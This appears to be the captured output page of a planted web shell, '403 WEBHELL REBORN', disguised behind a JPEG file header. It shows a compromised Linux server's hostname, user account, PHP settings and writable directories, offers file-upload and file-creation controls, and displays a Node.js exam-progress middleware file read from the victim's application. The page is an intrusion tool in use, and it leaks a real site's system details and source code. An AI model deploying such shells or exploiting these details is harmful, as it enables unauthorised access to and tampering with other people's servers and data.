ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/apicentralquestoes/src/middlewares/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/apicentralquestoes/src/middlewares/verificarProgresso.js
const ProgressoProva = require("../models/ProgressoProva");

const verificarProgresso = async (req, res, next) => {
  const { id } = req.params;
  const userId = req.userId;
  const { refazer } = req.query;
  try {
    const progresso = await ProgressoProva.findOne({
      where: { prova_id: id, user_id: userId },
    });

    if (progresso) {
      if (refazer === "true") {
        progresso.questoes_certas = 0;
        progresso.questoes_erradas = 0;
        progresso.questoes_detalhes = [];
        await progresso.save();

        return next();
      }

      return res.status(200).json({
        mensagem: "Você já começou essa prova. Deseja refazer?",
        jaFeita: true,
      });
    }

    next();
  } catch (erro) {
    console.error("Erro no middleware de verificação de progresso:", erro);
    return res.status(500).json({ mensagem: "Erro interno no servidor." });
  }
};

module.exports = verificarProgresso;

Anon7 - 2021